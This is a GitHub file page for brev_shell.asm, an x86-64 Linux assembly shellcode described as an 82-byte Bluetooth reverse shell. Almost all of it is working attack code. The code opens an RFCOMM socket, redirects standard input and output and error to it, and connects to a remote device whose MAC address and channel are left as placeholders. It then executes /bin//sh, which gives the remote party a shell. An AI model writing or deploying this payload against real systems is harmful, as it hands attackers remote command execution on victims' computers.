-
Notifications
You must be signed in to change notification settings - Fork 2
/
brev_shell.asm
68 lines (57 loc) · 1.54 KB
/
brev_shell.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
; BlueReverse-1.0
; http://github.com/Neetx/BlueReverse
; 82 byte bluetooth reverse shell for linux/x86-64
; Neetx
global _start
section .text
_start:
bits 64
; create a socket
; socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)
push 41 ;socket syscall
pop rax
push 1 ;socket type
pop rsi
push 31 ;socket family
pop rdi
push 3 ;protocol
pop rdx
syscall
xchg eax, edi ; edi = s
; assign socket handle to stdin,stdout,stderr
; dup2 (s, STDIN_FILENO)
; dup2 (s, STDOUT_FILENO)
; dup2 (s, STDERR_FILENO)
push 2
pop si ;stderr, decremented --> stdout --> stdin
dup_loop64:
mov al, 33 ; rax = sys_dup2
syscall
sub esi, 1
jns dup_loop64 ; jump if not signed
; connect to remote host
; connect (s, &sa, sizeof(sa));
xor rcx,rcx ;clean
mov cl, 0x03 ;3 channel, CHANNEL HERE
push rcx
mov rcx, ~0xXXXXXXXXXXXX001f ;MAC HERE + filler + family(1f=31)
not rcx
push rcx
push rsp ;push sockaddr_rc pointer
pop rsi ; &sa
mov dl, 10 ; rdx = sizeof(sa)
xor rax,rax
mov al, 42 ; rax = sys_connect
syscall
; execute /bin/sh
; execv("/bin//sh", 0, 0);
xor rdx, rdx
push rdx
pop rsi ; rsi=0
push rdx ; zero terminator
mov rcx, '/bin//sh'
push rcx
push rsp
pop rdi
mov al, 59 ; rax = sys_execve
syscall